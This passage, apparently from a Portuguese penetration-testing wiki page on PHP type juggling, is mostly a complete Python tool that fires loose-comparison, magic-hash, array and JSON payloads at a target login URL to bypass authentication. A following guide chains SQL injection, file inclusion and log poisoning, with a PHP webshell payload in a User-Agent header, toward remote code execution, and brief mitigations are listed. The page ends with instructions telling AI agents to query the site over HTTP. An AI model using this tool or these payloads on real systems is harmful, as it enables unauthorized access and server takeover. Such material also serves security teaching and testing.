        print(f"{'='*70}")
```

***

### **🔓 Bypass de Autenticação**

#### **Exploit Completo de Login**

```python
#!/usr/bin/env python3
# advanced_auth_bypass.py

import requests
import hashlib
import json
from urllib.parse import urljoin

class AdvancedAuthBypass:
    """Framework completo para bypass de autenticação via Type Juggling"""
    
    def __init__(self, target_url, username='admin'):
        self.target = target_url
        self.username = username
        self.session = requests.Session()
        self.successful_payloads = []
        
        # Magic hashes database
        self.magic_md5 = [
            '240610708', 'QNKCDZO', 's1665632922a', 's878926199a',
            's155964671a', 'aabg7XSs', 'aabC9RqS'
        ]
        
        self.magic_sha1 = [
            'aaroZmOk', 'aaK1STfY', 'aaO8zKZF'
        ]
    
    def test_payload(self, payload_data, method='POST', content_type='form'):
        """Testar um payload específico"""
        try:
            if content_type == 'json':
                response = self.session.post(
                    self.target,
                    json=payload_data,
                    headers={'Content-Type': 'application/json'},
                    timeout=10
                )
            else:
                response = self.session.post(
                    self.target,
                    data=payload_data,
                    timeout=10
                )
            
            return self.check_auth_success(response)
        
        except Exception as e:
            return False, str(e)
    
    def check_auth_success(self, response):
        """Verificar se autenticação foi bem-sucedida"""
        success_indicators = [
            'dashboard',
            'welcome',
            'logged in',
            'authentication successful',
            'login successful',
            'session',
            'logout',
            'profile'
        ]
        
        # Check response text
        response_lower = response.text.lower()
        for indicator in success_indicators:
            if indicator in response_lower:
                return True, f"Found indicator: {indicator}"
        
        # Check cookies
        if 'session' in response.cookies or 'token' in response.cookies:
            return True, "Session cookie set"
        
        # Check redirects
        if response.history and any('dashboard' in r.url or 'home' in r.url for r in response.history):
            return True, "Redirected to authenticated page"
        
        # Check JSON response
        try:
            json_data = response.json()
            if json_data.get('success') or json_data.get('authenticated'):
                return True, "JSON indicates success"
        except:
            pass
        
        return False, "No success indicators found"
    
    def technique_loose_comparison(self):
        """Técnica 1: Comparação fraca básica"""
        print("\n" + "="*70)
        print("🔧 Technique: Loose Comparison Bypass")
        print("="*70)
        
        payloads = [
            ('String "0"', {'username': self.username, 'password': '0'}),
            ('String "0e0"', {'username': self.username, 'password': '0e0'}),
            ('Empty string', {'username': self.username, 'password': ''}),
            ('String "false"', {'username': self.username, 'password': 'false'}),
            ('String "null"', {'username': self.username, 'password': 'null'}),
        ]
        
        for name, payload in payloads:
            print(f"\n  Testing: {name}")
            success, message = self.test_payload(payload)
            
            if success:
                print(f"  ✅ SUCCESS! {message}")
                self.successful_payloads.append(('Loose Comparison', name, payload))
                return True
            else:
                print(f"  ❌ Failed: {message}")
        
        return False
    
    def technique_magic_hashes(self):
        """Técnica 2: Magic Hashes"""
        print("\n" + "="*70)
        print("🔧 Technique: Magic Hash Bypass")
        print("="*70)
        
        print("\n  Testing MD5 magic hashes:")
        for magic in self.magic_md5:
            print(f"    - {magic}")
            payload = {'username': self.username, 'password': magic}
            success, message = self.test_payload(payload)
            
            if success:
                md5_hash = hashlib.md5(magic.encode()).hexdigest()
                print(f"  ✅ SUCCESS! {message}")
                print(f"     MD5: {md5_hash}")
                self.successful_payloads.append(('Magic MD5', magic, payload))
                return True
        
        print("\n  Testing SHA1 magic hashes:")
        for magic in self.magic_sha1:
            print(f"    - {magic}")
            payload = {'username': self.username, 'password': magic}
            success, message = self.test_payload(payload)
            
            if success:
                sha1_hash = hashlib.sha1(magic.encode()).hexdigest()
                print(f"  ✅ SUCCESS! {message}")
                print(f"     SHA1: {sha1_hash}")
                self.successful_payloads.append(('Magic SHA1', magic, payload))
                return True
        
        return False
    
    def technique_array_bypass(self):
        """Técnica 3: Array Bypass (strcmp)"""
        print("\n" + "="*70)
        print("🔧 Technique: Array Bypass (strcmp)")
        print("="*70)
        
        array_payloads = [
            ('Empty array', {'username': self.username, 'password[]': ''}),
            ('Array with value', {'username': self.username, 'password[]': 'test'}),
            ('Array [0]', {'username': self.username, 'password[0]': 'test'}),
            ('Array [1]', {'username': self.username, 'password[1]': 'test'}),
            ('Username array', {'username[]': self.username, 'password': 'test'}),
        ]
        
        for name, payload in array_payloads:
            print(f"\n  Testing: {name}")
            success, message = self.test_payload(payload)
            
            if success:
                print(f"  ✅ SUCCESS! {message}")
                self.successful_payloads.append(('Array Bypass', name, payload))
                return True
            else:
                print(f"  ❌ Failed")
        
        return False
    
    def technique_json_bypass(self):
        """Técnica 4: JSON Type Juggling"""
        print("\n" + "="*70)
        print("🔧 Technique: JSON Type Juggling")
        print("="*70)
        
        json_payloads = [
            ('Boolean true', {'username': self.username, 'password': True}),
            ('Boolean false', {'username': self.username, 'password': False}),
            ('Integer 0', {'username': self.username, 'password': 0}),
            ('Integer 1', {'username': self.username, 'password': 1}),
            ('Null', {'username': self.username, 'password': None}),
            ('Empty array', {'username': self.username, 'password': []}),
            ('Array with value', {'username': self.username, 'password': ['admin']}),
            ('Magic hash string', {'username': self.username, 'password': '0e123'}),
        ]
        
        for name, payload in json_payloads:
            print(f"\n  Testing: {name}")
            success, message = self.test_payload(payload, content_type='json')
            
            if success:
                print(f"  ✅ SUCCESS! {message}")
                self.successful_payloads.append(('JSON Bypass', name, payload))
                return True
            else:
                print(f"  ❌ Failed")
        
        return False
    
    def technique_in_array_bypass(self):
        """Técnica 5: in_array() Bypass"""
        print("\n" + "="*70)
        print("🔧 Technique: in_array() Bypass")
        print("="*70)
        
        # in_array() em PHP é vulnerável sem strict mode
        payloads = [
            ('String "0"', {'username': self.username, 'role': '0'}),
            ('Boolean true', {'username': self.username, 'role': 'true'}),
            ('String "1"', {'username': self.username, 'role': '1'}),
        ]
        
        for name, payload in payloads:
            print(f"\n  Testing: {name}")
            success, message = self.test_payload(payload)
            
            if success:
                print(f"  ✅ SUCCESS! {message}")
                self.successful_payloads.append(('in_array Bypass', name, payload))
                return True
            else:
                print(f"  ❌ Failed")
        
        return False
    
    def exploit(self):
        """Executar todas as técnicas"""
        print("="*70)
        print("🚀 Advanced Authentication Bypass Framework")
        print(f"🎯 Target: {self.target}")
        print(f"👤 Username: {self.username}")
        print("="*70)
        
        techniques = [
            self.technique_loose_comparison,
            self.technique_magic_hashes,
            self.technique_array_bypass,
            self.technique_json_bypass,
            self.technique_in_array_bypass,
        ]
        
        for technique in techniques:
            if technique():
                self.print_final_report()
                return True
        
        print("\n" + "="*70)
        print("❌ All bypass techniques failed")
        print("="*70)
        return False
    
    def print_final_report(self):
        """Imprimir relatório final"""
        print("\n" + "="*70)
        print("✅ AUTHENTICATION BYPASS SUCCESSFUL!")
        print("="*70)
        
        for technique, name, payload in self.successful_payloads:
            print(f"\n🔑 Successful Technique: {technique}")
            print(f"   Variant: {name}")
            print(f"   Payload: {json.dumps(payload, indent=4)}")
        
        print("\n💡 Recommendations:")
        print("   1. Use strict comparison (===) instead of loose (==)")
        print("   2. Use password_verify() for password checking")
        print("   3. Validate input types explicitly")
        print("   4. Use prepared statements with type hints")
        print("="*70)

# Uso
if __name__ == "__main__":
    import sys
    
    if len(sys.argv) < 2:
        print("Usage: python3 advanced_auth_bypass.py <target_url> [username]")
        print("Example: python3 advanced_auth_bypass.py http://target.com/login.php admin")
        sys.exit(1)
    
    target = sys.argv[1]
    username = sys.argv[2] if len(sys.argv) > 2 else 'admin'
    
    exploit = AdvancedAuthBypass(target, username)
    exploit.exploit()
```

## 🔀 **Type Juggling - Guia Completo**

### **📋 Índice**

1. Fundamentos do Type Juggling
2. Mecanismos de Ataque
3. Técnicas de Exploração
4. Contextos de Vulnerabilidade
5. Magic Hashes e Colisões
6. Bypass de Autenticação
7. Exploração Avançada
8. Exploração Master (SQLi + LFI + RCE + Type Confusion)
9. Mitigação e Prevenção
10. Casos Reais e Labs

***

## 🔍 **Fundamentos do Type Juggling**

O *Type Juggling* ocorre quando linguagens de tipagem fraca convertem automaticamente tipos durante comparações, resultando em bypass de lógica crítica como autenticação, autorizações e validações.

#### Comparação Fraca vs Estrita

```php
"0e123" == "0e456"  // TRUE
"0" == false        // TRUE
"1" == true         // TRUE
0 == "test"         // TRUE

"0e123" === "0e456" // FALSE
"0" === false       // FALSE
```

***

## ⚔️ **Mecanismos de Ataque**

#### Tipo 1 — Loose Comparison

```php
"0e123" == "0e456" // ambos se tornam 0
```

#### Tipo 2 — Magic Hashes

```php
md5("240610708") = 0e462097431906509019562988736854
```

#### Tipo 3 — Array Comparison

```php
if ($_POST['password'] == $secret) {...}
```

`password[]=test` pode gerar bypass.

#### Tipo 4 — JSON Confusion

```php
{"admin":"0e123"}
```

***

## 🔧 **Técnicas de Exploração**

Inclui scripts completos em Python para brute force, testes automáticos e exploração em massa.

***

## 🎯 **Contextos Vulneráveis**

* Login
* Token API
* RBAC
* Reset de senha
* Comparações numéricas

***

## 🚀 **Exploração Avançada**

### **Técnica Avançada 1: SQL Injection + Type Juggling**

```php
<?php
$username = $_POST['username'];
$password = $_POST['password'];

$query = "SELECT password_hash FROM users WHERE username = '$username'";
$result = mysqli_query($db, $query);
$stored_hash = mysqli_fetch_assoc($result)['password_hash'];

if (md5($password) == $stored_hash) {
    echo "Authenticated!";
}
?>
```

💥 SQLi + Magic Hash → bypass imediato.

***

## 🔥 **Exploração Master — SQLi + LFI/RCE + Type Confusion**

### **1️⃣ Login via Type Juggling**

Magic Hash → `0e...` → acesso sem senha.

### **2️⃣ Escalada via in\_array()**

```php
in_array($_SESSION['role'], ['admin','manager'])
```

`0 == "admin"` → TRUE.

### **3️⃣ SQLi para Forçar Caminho (LFI)**

```
1 UNION SELECT '/var/log/auth.log'
```

### **4️⃣ Log Poisoning → RCE**

Enviar:

```
User-Agent: <?php system($_GET['cmd']); ?>
```

### **5️⃣ Type Juggling quebra filtros de LFI**

```
file=0e12345
```

`substr()` e `strpos()` falham.

### **6️⃣ JSON Type Confusion → Admin**

```
{"isAdmin":"0e123"}
```

### **7️⃣ PHP Object Injection + Type Juggling → Webshell**

Validação fraca atropelada com `0e123`.

***

## 🛡️ **Mitigação e Prevenção**

* Sempre usar `===`
* `hash_equals()`
* `password_verify()`
* `in_array(..., true)`
* Sanitização de tipos
* JSON schema validation

***

## 🏁 **Conclusão**

Type Juggling é uma das vulnerabilidades mais subestimadas e mais poderosas do PHP. Quando combinada com SQLi, LFI e Type Confusion, pode levar a RCE total, bypass completo de autenticação e controle total do sistema.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/tecnicas/linguagens-de-programacao/type-juggling.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
